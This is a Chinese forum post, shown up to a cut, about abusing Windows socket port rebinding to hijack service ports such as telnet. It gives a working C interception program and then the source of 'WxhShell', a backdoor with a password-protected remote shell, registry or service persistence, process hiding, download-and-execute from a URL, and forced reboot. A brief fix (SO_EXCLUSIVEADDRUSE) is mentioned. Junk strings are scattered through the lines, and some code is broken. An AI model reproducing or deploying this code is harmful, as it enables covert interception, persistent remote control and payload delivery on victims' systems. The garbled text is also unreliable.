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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G:A` n;E0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  okfhd{9  
:]?I|.a  
  saddr.sin_family = AF_INET; )C <sj   
<.:B .k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0] 5QX/I  
Z}XA (;ck  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jgukW7H  
1k;X*r#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "|&SC0*  
5 kQC  
  这意味着什么?意味着可以进行如下的攻击: y5oiH  
;[%AeN5W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cp]\<p('A  
?HU(0Vgn'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?n[+0a:8E  
UXe@c@3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .,feRK>3  
Vbz$dpT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *n}{ )Ef  
tX6n~NJ$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <sn^>5Ds  
y/ vE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hoPCbjkov  
2}hEBw68  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HjL+Wg  
.hn "NXy  
  #include [9*+s  
  #include BK6oW3wD/  
  #include *\-6p0~A  
  #include    joYj`K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7)<&,BWc  
  int main() NouT~K`'  
  { Sh=z  
  WORD wVersionRequested; n{=vP`V_  
  DWORD ret; ~#O nA1)  
  WSADATA wsaData; A)'{G  
  BOOL val; PC=b.H8P+W  
  SOCKADDR_IN saddr; b$%W<D  
  SOCKADDR_IN scaddr; l2z@t3{  
  int err;  ig jr=e  
  SOCKET s; Pv/$ ;R%  
  SOCKET sc; <08)G7  
  int caddsize; >'7Icx  
  HANDLE mt; 8,=,'gFO  
  DWORD tid;   #sN]6  
  wVersionRequested = MAKEWORD( 2, 2 ); #8rLB(  
  err = WSAStartup( wVersionRequested, &wsaData ); eY;XF.mF  
  if ( err != 0 ) { t 8|i>(O  
  printf("error!WSAStartup failed!\n"); HZ )z^K?1  
  return -1; f6u<.b  
  } p~BEz?e  
  saddr.sin_family = AF_INET; [Vc8j&:L  
   1Sx2c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 42~tdD  
(HDR}!.E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i=nd][1n  
  saddr.sin_port = htons(23); h b_"E, `F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B[epI3 R  
  { V*}ft@GPD  
  printf("error!socket failed!\n"); 4ba[*R2  
  return -1; Y2W|b5  
  } }k~ih?E^s  
  val = TRUE; ;M1#M:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +9<"Y6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $mgW|TBXCQ  
  { ~5q1zr)E  
  printf("error!setsockopt failed!\n"); yX0n yhq  
  return -1; *%E4 ,(T  
  } 8,7^@[bzXx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y;-$w|&P>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~l+2Z4nV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +0_e a~{  
oIrO%v:'!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lK 5@qG#  
  { Qzt'ZK  
  ret=GetLastError(); x+EkL3{  
  printf("error!bind failed!\n"); ";yey]  
  return -1; u0zF::  
  } q HaH=g%  
  listen(s,2); @IhC:Yc  
  while(1) lE'3UqK  
  { J}BN}|Y@2  
  caddsize = sizeof(scaddr); X6 *4IE  
  //接受连接请求 <hvs{}TS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ra) wlI x  
  if(sc!=INVALID_SOCKET) >J*x` a3Q  
  { d<K2 \:P{}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r2yJ{j&s  
  if(mt==NULL) ti'B}bH>'  
  { Bs)'Gk`1  
  printf("Thread Creat Failed!\n"); 0Un?[O  
  break; 0$ JH5RC  
  } 3>M%?d  
  } B\S}*IE  
  CloseHandle(mt); B>.x@(}V~  
  } & OYo  
  closesocket(s); ORuC("  
  WSACleanup(); K*I!:1;3N  
  return 0; /9ctmW1!<  
  }   GXC,p(vbE  
  DWORD WINAPI ClientThread(LPVOID lpParam) YLJ^R$pi  
  { ckGmwYP9  
  SOCKET ss = (SOCKET)lpParam; v;soJlxF~  
  SOCKET sc; cX7 O*5C  
  unsigned char buf[4096]; ]-8WM5\qJM  
  SOCKADDR_IN saddr; @@JyCUd  
  long num; *:bexDH  
  DWORD val; P9`R~HO'`  
  DWORD ret; s@Dln Du .  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B6=?Qp/f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >3ax `8  
  saddr.sin_family = AF_INET; &^2SdF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZtyDip'x  
  saddr.sin_port = htons(23); qG@YNc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -M/j&<;LW  
  { TyDh\f!w  
  printf("error!socket failed!\n"); =PU($  
  return -1; \~RDvsSD  
  } WP2=1"X63  
  val = 100; G/*;h,NbNr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DA1?M'N  
  { .7]P-]uOZ  
  ret = GetLastError(); o?Aj6fNY?  
  return -1; Z1#u&oX  
  } 2ah%,o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <d @9[]  
  { >-w(P/  
  ret = GetLastError(); $=iw<B r  
  return -1; _%q~K (::  
  } Jsl2RdI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c {/J.  
  { sUF9_W5z  
  printf("error!socket connect failed!\n"); ]{oZn5F  
  closesocket(sc); gk6UV2nE?  
  closesocket(ss); v3#,Z!  
  return -1; {j=`  
  } fuzB;Ea  
  while(1) P q$0ih  
  { ;$W HTO(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nl qn:[BU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x-"8V(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  g5 T  
  num = recv(ss,buf,4096,0); 0z'GN#mT5  
  if(num>0) S=(<m%f  
  send(sc,buf,num,0); Y=p!xr>  
  else if(num==0) h);^4cU  
  break; M?!@L:b[  
  num = recv(sc,buf,4096,0); H1 I^Vij  
  if(num>0) y~fKLIoz"  
  send(ss,buf,num,0); w9{C"K?u=  
  else if(num==0) fqhL"Ah   
  break; P 0e-v0  
  } jMgXIK\  
  closesocket(ss); [% C,&h5  
  closesocket(sc); s bj/d~$N  
  return 0 ; H T|DT  
  } #8|LPfA  
i|J%jA  
<XIIT-b[  
========================================================== qT48Y  
oQ 2$z8  
下边附上一个代码,,WXhSHELL )rq |t9kix  
MC* Hl`C  
========================================================== ^cm ] [9  
ZUHRATT-  
#include "stdafx.h" 7~SwNt,  
0?<#!  
#include <stdio.h> F}5d>nw  
#include <string.h> 6Q^~O*cw  
#include <windows.h> V&w2pp0  
#include <winsock2.h> 7~ PL8  
#include <winsvc.h> .E<nQWz 8  
#include <urlmon.h> ;$QC_l''b  
27EK +$  
#pragma comment (lib, "Ws2_32.lib") @eJCr)#}  
#pragma comment (lib, "urlmon.lib") N7?B"p/  
1Y|a:){G  
#define MAX_USER   100 // 最大客户端连接数 j-":>}oW2.  
#define BUF_SOCK   200 // sock buffer yd).}@  
#define KEY_BUFF   255 // 输入 buffer N% 4"9K  
GC{M"q|_  
#define REBOOT     0   // 重启 V5 w1ET  
#define SHUTDOWN   1   // 关机 eXW|{asx  
$@>0;i ::  
#define DEF_PORT   5000 // 监听端口 u.gg N=Z  
BDT L5N  
#define REG_LEN     16   // 注册表键长度 L=l&,ENy  
#define SVC_LEN     80   // NT服务名长度 );$99t  
TaN{xpo  
// 从dll定义API rZ~w_DK*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); flsejj$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fl-\{vOn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )th[fUC(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q?#I{l)V(  
2;8m0+tl  
// wxhshell配置信息 `gX@b^  
struct WSCFG { .UG`pRC  
  int ws_port;         // 监听端口 ?13qDD:  
  char ws_passstr[REG_LEN]; // 口令 fSkDD>&  
  int ws_autoins;       // 安装标记, 1=yes 0=no >?, Zn  
  char ws_regname[REG_LEN]; // 注册表键名 Jsz!ro  
  char ws_svcname[REG_LEN]; // 服务名 Z!)~?<gcq:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ilA45@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0NXH449I=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m Qj=-\p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  Y{p$%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CkT(\6B-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JE=t e(a  
X\AH^I6S  
}; G0E5Y;YIN$  
Bqq=2lj  
// default Wxhshell configuration an"&'D}U  
struct WSCFG wscfg={DEF_PORT, Zh=a rlk  
    "xuhuanlingzhe", 2 T!Tiu  
    1,  c0oHE8@  
    "Wxhshell", TSlB.pw%v  
    "Wxhshell", #Wk=y?sn  
            "WxhShell Service", e-nA>v  
    "Wrsky Windows CmdShell Service", @^P^- B  
    "Please Input Your Password: ", CKYg!\g(:  
  1, +0'F@l  
  "http://www.wrsky.com/wxhshell.exe", fw%`[( hK  
  "Wxhshell.exe" CSO'``16  
    }; &{}Mds  
jJy:/!i  
// 消息定义模块 ZK5nN9`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?sf<cFF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1E+12{~m"i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g !'R}y  
char *msg_ws_ext="\n\rExit."; >|$]=e,Z  
char *msg_ws_end="\n\rQuit."; l<6u@,%s  
char *msg_ws_boot="\n\rReboot..."; @(3F4Z.i%.  
char *msg_ws_poff="\n\rShutdown..."; >f(?Mxh2  
char *msg_ws_down="\n\rSave to "; `o[l%I\Q  
Dac)`/  
char *msg_ws_err="\n\rErr!"; b 7UJ  
char *msg_ws_ok="\n\rOK!"; z p E|  
apvcWF%  
char ExeFile[MAX_PATH]; T] zEcx+e  
int nUser = 0; %FO{:@CH  
HANDLE handles[MAX_USER]; OtG\Uw8  
int OsIsNt; rE3dHJN;  
{&  o^p!  
SERVICE_STATUS       serviceStatus; t" .Ytz>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BVQy@:K/  
p/.8})c1r  
// 函数声明 c{z$^)A/  
int Install(void); ;]{ee?Q^ld  
int Uninstall(void); B,%Vy!o  
int DownloadFile(char *sURL, SOCKET wsh); yvAO"43  
int Boot(int flag); [q <'ty  
void HideProc(void); kv+%  
int GetOsVer(void); sV\_DP/l  
int Wxhshell(SOCKET wsl); C]`uC^6g  
void TalkWithClient(void *cs); *l2`- gbE  
int CmdShell(SOCKET sock); l/eF P  
int StartFromService(void); j4.wd RK  
int StartWxhshell(LPSTR lpCmdLine); +iVEA(0&$  
p"g|]@m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,eXtY}E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h>N}M}8  
GG} %  
// 数据结构和表定义 wPA^nZ^}9c  
SERVICE_TABLE_ENTRY DispatchTable[] = __=H"UhWv  
{ 79\ wjR!T  
{wscfg.ws_svcname, NTServiceMain}, _P>YG<*"kQ  
{NULL, NULL} #[93$)Gd!  
}; IGlR,tw_/  
k]b*&.EY1  
// 自我安装 ).T&fa"  
int Install(void) -%nD'qy,.  
{ 18X@0e  
  char svExeFile[MAX_PATH]; g3R(,IH  
  HKEY key; Syk)S<  
  strcpy(svExeFile,ExeFile); \Wbmmd}8  
TT$A o  
// 如果是win9x系统,修改注册表设为自启动 ys[Li.s:  
if(!OsIsNt) { :^;c(>u{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R.~[$G!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V%Uj\cv  
  RegCloseKey(key); Shn,JmR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.G 7Vt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dl,QCZeM  
  RegCloseKey(key); 9&6juL  
  return 0; %uW  =kr  
    } gP^2GnjHL8  
  } Dg&84,bv^  
} jL VJ+mu  
else { 1W^hPY  
y<)TYr  
// 如果是NT以上系统,安装为系统服务 vOQ% f?%G\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Nu2 :~JO  
if (schSCManager!=0) Z;BS@e  
{ |P|B"I<?  
  SC_HANDLE schService = CreateService Bo 35L:r|  
  ( L@}PW)#  
  schSCManager, 7)66e  
  wscfg.ws_svcname, v^|U?  
  wscfg.ws_svcdisp, ,:_c-d#  
  SERVICE_ALL_ACCESS, h$cm:uks  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R4?>C-;  
  SERVICE_AUTO_START, $a(-r-_Fi]  
  SERVICE_ERROR_NORMAL, Zk3Pv0c  
  svExeFile, eA!o#O.  
  NULL, D6 B-#u!M  
  NULL, @^{Hq6_`  
  NULL, 2 $>DX\h  
  NULL, Z\&f"z?L  
  NULL sD|l}f  
  ); h Yu6PWK  
  if (schService!=0) Z;0~f<e%  
  { X{9^$/XsJ  
  CloseServiceHandle(schService); q z)2a2C  
  CloseServiceHandle(schSCManager); a#oROb-*~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #&3,T1i`  
  strcat(svExeFile,wscfg.ws_svcname); r pNb.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .`or^`X3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ks_wvY:'  
  RegCloseKey(key); y^. 66BH  
  return 0; *}[\%u$ T  
    } }Zhe%M=}G  
  } RLF&-[mr3  
  CloseServiceHandle(schSCManager); GES}o9?#  
}  rxY|&!f  
} _Q V=3UWP  
Di9RRHn&q  
return 1; U82a]i0  
} WI8}_){ d  
9zaN fs  
// 自我卸载 nt.LiM/L  
int Uninstall(void) QX,$JM3  
{ kZ]H[\Fs  
  HKEY key; GP:<h@:798  
xtV+Le%  
if(!OsIsNt) { _e%D/}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w.qtSW6M+  
  RegDeleteValue(key,wscfg.ws_regname); BN/ 4O?jD9  
  RegCloseKey(key); C]^Ep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z8kO)'  
  RegDeleteValue(key,wscfg.ws_regname); 3%WB?k c  
  RegCloseKey(key); $vn6%M[  
  return 0; 3JazQU  
  } #3uv^m LGa  
} d;i|s[6ds`  
} A5l Cc b  
else { 7ZcF0h  
ycA<l"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PKm|?kn{0(  
if (schSCManager!=0) h my%X`%j  
{ r )|3MUj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i~B?p[  
  if (schService!=0) 8}/DD^M  
  { 0G%9 @^B  
  if(DeleteService(schService)!=0) { s!6lZ mPM  
  CloseServiceHandle(schService); n#_B4UqW%  
  CloseServiceHandle(schSCManager); u{1R=ML  
  return 0; ?%kgfw@)  
  } yD[d%w  
  CloseServiceHandle(schService); Cq5.gkS<  
  } Mf5j'n  
  CloseServiceHandle(schSCManager); @T1G#[C~t  
} "Ih3  
} #G9 W65f  
sz7*x{E  
return 1; kc'$4 J4Tw  
} iTxWXij  
 _"DC )  
// 从指定url下载文件 r6<;bO(  
int DownloadFile(char *sURL, SOCKET wsh) S ?Zh#`(*  
{ s{^98*  
  HRESULT hr; }U]jy  
char seps[]= "/"; i4D(8;  
char *token; bpu`'Vx  
char *file; Iu'9yb  
char myURL[MAX_PATH]; <,vIN,Kl8/  
char myFILE[MAX_PATH]; f-U zFlU  
"M%R{pGA7  
strcpy(myURL,sURL); 8t+eu O  
  token=strtok(myURL,seps); ;`AB-  
  while(token!=NULL) U32$ 9"  
  { 7H H  
    file=token; D]]e6gF$e  
  token=strtok(NULL,seps); zCs34=3 D[  
  } HcRw9,I'  
dCx63rF`G  
GetCurrentDirectory(MAX_PATH,myFILE); uYW4$6S 3  
strcat(myFILE, "\\"); >`QBN1 Y  
strcat(myFILE, file); l5z//E}W  
  send(wsh,myFILE,strlen(myFILE),0); _{|a<Keq|  
send(wsh,"...",3,0); $v>q'8d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A;cA|`b  
  if(hr==S_OK) kD#T _d  
return 0; VoCg,gow  
else 'h$:~C  
return 1; :>-zT[Lcn  
XQ1]F{?/H  
} 18$d-[hX  
H3wJ5-q(  
// 系统电源模块 \p^V~fy7rU  
int Boot(int flag) G1|1Z5r  
{ i0M6;W1T  
  HANDLE hToken; B>{%$@4  
  TOKEN_PRIVILEGES tkp; (l5p_x  
Q0A4}  
  if(OsIsNt) { SQMl5d1d:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rgy I:F.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'O a3 6@  
    tkp.PrivilegeCount = 1; gUiO66#x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 082}=Tsx   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xj, %t}  
if(flag==REBOOT) { We6eAP/Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ED0cnr\yG  
  return 0; S5>s&  
} !~ o%KQt  
else { [$3+5K#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2V~E <K-  
  return 0; Om.%K>V  
} /gAT@Vx  
  } ^f[6NYS?  
  else { P9!awLM-  
if(flag==REBOOT) { he|Q (?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "{<X! ^u>  
  return 0; qrMED_(D  
} ~+.=  
else { z ]f(lwo{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #-|fdcb  
  return 0; ]m_x;5s $  
} %oBP6|e  
} zw#n85=  
wx-\@{E  
return 1; k26C=tlkv"  
} 0 u*a=f=  
08\w!!a:  
// win9x进程隐藏模块 c b-IRGF  
void HideProc(void) !mv5i%3  
{ QN*|_H@h  
'2X$. ^aW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^%!{qAp}Z  
  if ( hKernel != NULL ) [%k8l~ 6  
  { si&du  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); # WjQ'c:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #cQ5-R -1  
    FreeLibrary(hKernel); (iKJ~bJ  
  } stG +4w  
Cm;cmPPl  
return; y)zZ:lyIq  
} ?I]AE&4'  
DE.].FD'  
// 获取操作系统版本 R;HE{q[ f  
int GetOsVer(void) v4e4,Nt  
{ -1Tr!I:1  
  OSVERSIONINFO winfo;  hh4R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?22U0UF  
  GetVersionEx(&winfo); ?|,:;^2l1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H+*3e&  
  return 1; 6uD<E  
  else 4dixHpq'  
  return 0; 4prJ!k  
} (uX?XX^  
{.Qv1oOa  
// 客户端句柄模块 4T@+gy^.  
int Wxhshell(SOCKET wsl) a~Dk@>+P>  
{ `h'+4  
  SOCKET wsh; 0n:cmML )D  
  struct sockaddr_in client; `M~R4lr  
  DWORD myID; bci]"uzB  
<M\&zHv  
  while(nUser<MAX_USER) E5i5gE"\  
{ z5gVP8*z5  
  int nSize=sizeof(client); Uha.8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6y!U68L;B  
  if(wsh==INVALID_SOCKET) return 1; Q z(n41@`  
e-*@R#x8+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U!uPf:p2  
if(handles[nUser]==0) Ma!  
  closesocket(wsh); (F^R9G|  
else dC,C[7\  
  nUser++; 5r)8MklZ  
  } \v&zsv\B@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dQT[pNp:  
pO *[~yq5  
  return 0; t+ w{uwEY  
} *rTg>)  
&|Wqzdo?#  
// 关闭 socket 7j)ky2r#  
void CloseIt(SOCKET wsh) GXxI=,L8F  
{ ~~Bks{"BS  
closesocket(wsh); cFc(HADM`r  
nUser--; (rFiHv5  
ExitThread(0); c5%}* "z  
} j4,y+ 9U  
~1;M4K  
// 客户端请求句柄 |8f}3R 9  
void TalkWithClient(void *cs) 8#;=>m%  
{ hZfj$|<  
]y.V#,6e  
  SOCKET wsh=(SOCKET)cs; (o*YGYC  
  char pwd[SVC_LEN]; 7d R?70Sz  
  char cmd[KEY_BUFF]; 6yy%_+k*  
char chr[1]; .v(GVkE}  
int i,j; wH8J?j"5>  
,=\.L_'  
  while (nUser < MAX_USER) { i{m!v6j:  
;[;WEA  
if(wscfg.ws_passstr) { UhqTn$=fb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 27 XM&ZrZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q;bw }4  
  //ZeroMemory(pwd,KEY_BUFF); L9O;K$[s  
      i=0; |` ~ioF  
  while(i<SVC_LEN) { O`0r'&n  
D2}^TIg  
  // 设置超时 CPZ,sWg5  
  fd_set FdRead; [L X/O@  
  struct timeval TimeOut; K?J_cnJ`  
  FD_ZERO(&FdRead); ,z.l#hj,{  
  FD_SET(wsh,&FdRead); 2Snb+,o2  
  TimeOut.tv_sec=8; KO=$Hr?f;  
  TimeOut.tv_usec=0; G+N1#0,q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1iY4|j;ahV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iO?AY  
#WZat ?-N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {!D(3~MI  
  pwd=chr[0]; /%g9g_rt#  
  if(chr[0]==0xd || chr[0]==0xa) { Ik^^8@z  
  pwd=0; hy~[7:/<I&  
  break; R/x3+_.f  
  } !b_(|~7Lc  
  i++; ["f6Ern  
    } w[d8#U   
wr"0+J7  
  // 如果是非法用户,关闭 socket c45 s #6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r<fcZ)jt|  
} P}~MO)*1  
UH-873AK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rmzzbLTu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H2%Qu<Kg2  
*V hEl7  
while(1) { f~wON>$K  
C0[U}Y/r2  
  ZeroMemory(cmd,KEY_BUFF); s1Acl\l-uF  
by'KJxl[  
      // 自动支持客户端 telnet标准   beo(7,=&  
  j=0; :=y5713  
  while(j<KEY_BUFF) { zEU[u7%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wp&G]/4m  
  cmd[j]=chr[0]; "7y, d%H  
  if(chr[0]==0xa || chr[0]==0xd) { *JDz0M4f  
  cmd[j]=0;  7qy PI  
  break; z*h:Nt%.  
  } 2j8GJU/L  
  j++; iH4LZ  
    } iV/I909*''  
JD#q6 &|  
  // 下载文件 JrOx nxd^  
  if(strstr(cmd,"http://")) { j yD3Sa3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R`@T<ob)  
  if(DownloadFile(cmd,wsh)) chL1r9V)v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pp"#pl  
  else s4_Dqm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zpg;hj5_  
  } enJ; #aA  
  else { Qwpni^D8j  
uQ-GJI^t  
    switch(cmd[0]) { =( |%%,3  
  }qso} WI  
  // 帮助 ]Z5m_-I  
  case '?': { R?iCJ5m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qz(2Iu{E]  
    break; c+3`hVV  
  } QO}~"lMj  
  // 安装 SM8N*WdiU  
  case 'i': { zEFS\nP}E  
    if(Install()) ,e43m=KhK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Wnh1|z  
    else $ 6mShp9(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @CzFzVmF"  
    break; ]S4"JcM  
    } I :<,9.   
  // 卸载 xg/(  
  case 'r': { 7*uN[g#p  
    if(Uninstall()) %urvX$r4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \85%d0@3  
    else }y6@YfV${  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c`;oV-f  
    break; ]0*aE  
    } Ztmh z_u7  
  // 显示 wxhshell 所在路径 =!q]0#  
  case 'p': { F2}Fuupb.  
    char svExeFile[MAX_PATH]; ybiTWM  
    strcpy(svExeFile,"\n\r"); 7JBs7LG  
      strcat(svExeFile,ExeFile); J[:#(c&c!1  
        send(wsh,svExeFile,strlen(svExeFile),0); k)-+ZmMOh  
    break; 0RA#Y(IR  
    } B{&W|z{$  
  // 重启 L@GICW~  
  case 'b': { LHA^uuBN}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ij0I!ilG4  
    if(Boot(REBOOT)) g7]S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pYQSn.`V~  
    else { #aL.E(%  
    closesocket(wsh); pRV.\*:c  
    ExitThread(0); P^<3 Z)L  
    } 3%'`^<-V  
    break; e2 c'Wab  
    } ,WWd%DF)  
  // 关机 .)[E`a  
  case 'd': { a%Q`R;W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [T r7SU#x  
